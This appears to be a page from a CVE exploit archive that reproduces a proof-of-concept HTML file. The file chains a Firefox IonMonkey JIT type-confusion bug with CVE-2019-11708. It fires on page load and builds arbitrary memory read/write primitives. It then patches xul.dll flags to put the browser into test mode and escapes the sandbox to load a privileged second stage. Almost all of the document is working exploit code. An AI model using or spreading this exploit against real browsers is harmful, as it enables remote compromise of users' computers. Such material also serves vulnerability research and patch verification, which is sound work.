4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.html HTML
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<script>
function confusion()
{
    let ab = new ArrayBuffer(0x1000);       //from original poc
    let victim = new Uint8Array(0x1000);    //from original poc

    let tArr = new Array(0x1,0x2, 0x3, 0x4);
    let ab2 = new ArrayBuffer(0x100);
    let rwPrimitive = new DataView(ab);
    let str = new String("security.turn_off_all_security_so_that_viruses_can_take_over_this_computer");

    var float64 = new Float64Array(1);
    var int32 = new Int32Array(float64.buffer);

    function Hax(val, l, trigger) {
        // In the final invocation:

        // Ultimately confuse these two objects which each other.
        // x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
        let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
        // y is a real ArrayBufferView object.
        let y = new Float64Array(0x1000);

        // * Trigger a conversion of |this| to a NativeObject.
        // * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
        // * Trigger the "roll back" of |this| to a NativeObject with only property .a
        // * Bailout of the JITed code due to type inference changes
        this.a = val;

        // Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
        // incorrectly assume that |this| already has the final type (so already has property .x)
        for (let i = 0; i < l; i++) {}

        // The JITed code will now only have a property store here and won't update the Shape.
        this.x = x;

        if (trigger) {
            // This property definition is conditional (and rarely used) so that an inline cache
            // will be emitted for it, which will inspect the Shape of |this|. As such, .y will
            // be put into the same slot as .x, as the Shape of |this| only shows property .a.
            this.y = y;

            // At this point, .x and .y overlap, and the JITed code below believes that the slot
            // for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
        }

        // This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
        this.x.data = victim;
    }

    //Trigger the confusion
    for (let i = 0; i < 1000; i++) {
        new Hax(1337, 1, false);
    }
    let obj = new Hax("asdf", 10000000, true);

    // Driver is now a Float64Array whose data pointer points to a Uint8Array.
    let driver = obj.y;


    let ArrayBufAddr = driver[11];
    //float64[0] = ArrayBufAddr;
    //prompt("ArrayBufAddr = ", "0x" + SignedDwordToUnsignedDword(int32[1]).toString(16) + "" + SignedDwordToUnsignedDword(int32[0]).toString(16));


    let ObjectGroup =  driver[0]; //Get address of objectGroup
    float64[0] = ObjectGroup;
    let ObjectGroupUint = SignedDwordToUnsignedDword(int32[0]) + SignedDwordToUnsignedDword(int32[1]) * 0x100000000;

    let clasp_ = readPtr(ObjectGroupUint); //Get address from classp_

    var xulBase = clasp_ - 0x045d4fd0;


    /* Set  sAutomationPrefIsSet, sPrefCacheAdded  and  disabledForTest variables to true (xpcpublic.h)*/
    /* this is to make AreNonLocalConnectionsDisabled() and IsInAutomation() return true*/
    /* and make the browser think it is being executed in testing mode */
    let sAutomationPrefIsSet  = xulBase + 0x05034e1b;
    writeDword(sAutomationPrefIsSet, 0x1);

    let sPrefCacheAdded  = xulBase + 0x05034E1c;
    writeDword(sPrefCacheAdded, 0x1);                  // sAutomationPrefIsSet and sPrefCacheAdded are bool sized adjecent variables so dword writes are overlapping
                                                       // thats why write order here is important

    let disabledForTest = xulBase + 0x04fe4dc3;
    writeDword(disabledForTest, 0x1);


    return;

    /*----------------- tool funcions --------------------------*/

    function readDword(addr)
    {
        int32[0] = addr & 0xFFFFFFFF;
        int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
        driver[27] = float64[0]; //replace data pointer of rwPrimitive object

        var value = rwPrimitive.getInt32(0, true);
        return value;

    }

    function writeDword(addr, value)
    {
        int32[0] = addr & 0xFFFFFFFF;
        int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
        driver[27] = float64[0]; //replace data pointer of rwPrimitive object

        rwPrimitive.setInt32(0, value & 0xFFFFFFFF, true);
    }


    function writePtr(addr, value)
    {
        int32[0] = addr & 0xFFFFFFFF;
        int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
        driver[27] = float64[0]; //replace data pointer of rwPrimitive object

        rwPrimitive.setInt32(0, value & 0xFFFFFFFF, true);
        rwPrimitive.setInt32(4, (value / 0x100000000) & 0xFFFFFFFF, true);
    }

    function readPtr(addr)
    {
        int32[0] = addr & 0xFFFFFFFF;
        int32[1] = (addr / 0x100000000) & 0xFFFFFFFF;
        driver[27] = float64[0]; //replace data pointer of rwPrimitive object

        var value = rwPrimitive.getUint32(0, true);
        value += rwPrimitive.getUint32(4, true) * 0x100000000;
        return value;
    }

    function SignedDwordToUnsignedDword(sd)
    {
        return (sd < 0) ? sd + 0x100000000 : sd;
    }

}

function run()
{

    if( window.netscape.security.PrivilegeManager == undefined )
    {
        try{
            confusion();    //if it didn't work reload the page 
        }                   //(sometimes the confusion does not get triggeret on first load)
        catch (error) {}
        finally{
            location.reload();
        }
    }else{
        /* use CVE-2019-11708 to escape the sandbox */
        /* this part is taken from exploit by 0vercl0k (https://github.com/0vercl0k/CVE-2019-11708) */
        window.netscape.security.PrivilegeManager.enablePrivilege();
        const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
        const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());

        const Code = _GetDocShellFromWindow.toSource();
        Components.utils.evalInSandbox(Code, Sbx);
        const DocShell = Sbx._GetDocShellFromWindow(window);
        Components.utils.nukeSandbox(Sbx);
        DocShell.messageManager.sendSyncMessage('Prompt:Open', { uri: `${location.origin}/stage2.html` });

        document.write("<h1> Success! ...</h1>")
    }
}

function _GetDocShellFromWindow(Win) {
    return Win.docShell;
}

</script>
</head>
<body>
<script type="text/javascript">
    window.addEventListener('load', (event) => { run(); });
</script>
</body>
</html>